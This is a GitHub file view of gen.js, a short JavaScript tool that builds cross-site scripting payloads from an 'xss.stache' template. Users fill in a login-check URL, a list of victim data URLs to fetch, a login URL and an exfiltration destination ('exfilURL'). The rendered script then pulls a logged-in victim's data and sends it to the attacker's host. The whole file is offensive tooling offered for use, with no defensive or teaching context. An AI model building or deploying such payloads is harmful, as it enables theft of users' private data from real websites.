-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgen.js
33 lines (29 loc) · 906 Bytes
/
gen.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(function() {
var template = '';
function escapeRegExp(str) {
return str.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&");
}
$(function() {
$.get('xss.stache', function(r) {
template = r;
}, 'text');
$('#gimme').click(function() {
var rawDataURLs = $('#fetchResources').val().split(/\r?\n/);
var dataURLs = [];
for (var u of rawDataURLs) {
if (u.match(/\w/)) dataURLs.push({url: JSON.stringify(u), method: "get"});
}
var view = {
loginCheckURL: JSON.stringify($('#loginCheckURL').val()),
loginCheckPattern: escapeRegExp($('#loginCheckPattern').val()),
dataURLs: dataURLs,
dataURLCount: dataURLs.length,
loginURL: JSON.stringify($('#loginURL').val()),
exfilURL: JSON.stringify($('#destURL').val())
}
$('#result').text(Mustache.render(template, view));
$('#result-div').show();
return false;
});
})
})();